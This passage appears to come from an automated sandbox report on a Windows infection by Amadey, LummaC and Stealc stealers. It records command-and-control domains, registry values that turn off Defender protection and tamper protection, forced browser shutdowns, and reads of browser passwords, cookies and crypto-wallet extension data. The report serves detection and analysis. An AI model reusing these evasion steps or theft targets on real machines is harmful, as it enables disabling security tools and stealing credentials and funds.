Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00AC652B mov eax, dword ptr fs:[00000030h]		8_2_00AC652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00ACA302 mov eax, dword ptr fs:[00000030h]		8_2_00ACA302

Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: c077ee22d1.exe PID: 6988, type: MEMORYSTR

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.1686828213.00000000052E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.1686828213.00000000052E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.1686828213.00000000052E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.1686828213.00000000052E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.1686828213.00000000052E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.1686828213.00000000052E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.1686828213.00000000052E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.1686828213.00000000052E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe "C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe "C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe "C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003125001\num.exe "C:\Users\user\AppData\Local\Temp\1003125001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: a8c7d2631f.exe, 0000000D.00000000.2729895172.00000000000F2000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmp, c077ee22d1.exe, 0000000B.00000002.2718230943.000000000130B000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Program Manager
Source: firefox.exe, 0000001B.00000002.2895014650.000000FFE623B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?ProgmanListenerWi

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_00AAD3E2 cpuid

8_2_00AAD3E2

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003125001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1003125001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_00AACBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

8_2_00AACBEA

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000003.1820322905.00000000015D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820532270.00000000015DA000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2705274842.00000000058D9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2789739738.00000000058D2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2680423685.00000000058D1000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2673940178.0000000000C94000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2673069421.0000000000C91000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2927351090.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2927015968.0000000000D29000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 7.2.skotes.exe.a90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.SP29EZJLUAF4OXVNPKLP.exe.e30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.skotes.exe.a90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.a90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.J3F2AVPL447NSFJEKUT1.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2005513502.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1990496875.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2300805350.0000000004F60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1949723349.0000000004810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1912535075.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2914036653.0000000000221000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.2873181974.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1965015613.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1953939305.0000000000E31000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 00000022.00000002.2983262363.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: a8c7d2631f.exe PID: 8132, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3e1d30d118.exe PID: 7660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3e1d30d118.exe PID: 6380, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 32.2.num.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.0.num.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.c077ee22d1.exe.e90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.c077ee22d1.exe.e90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2718871145.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2922821640.0000000000E91000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.2803596225.000000000017E000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2828392068.0000000000161000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2828721900.0000000005440000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2676689966.0000000005320000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.2803560283.0000000000161000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2717758485.0000000000E91000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2927409227.000000000182B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2828765509.000000000017E000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2839248106.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: c077ee22d1.exe PID: 6988, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 3e1d30d118.exe, 0000000C.00000003.2873847206.0000000000D1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: allets/Electrum"
Source: 3e1d30d118.exe, 0000000C.00000003.2873847206.0000000000D1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: file.exe, 00000000.00000003.1820322905.00000000015D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: 3e1d30d118.exe, 0000000C.00000003.2873847206.0000000000D1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 3e1d30d118.exe, 0000000C.00000003.2873847206.0000000000D1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \\Exodus\\exodus#
Source: file.exe, 00000000.00000003.1763813024.00000000015F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: 3e1d30d118.exe, 0000000C.00000003.2873847206.0000000000D1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: a%\\Ethereum","m?
Source: 3e1d30d118.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.1763911289.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
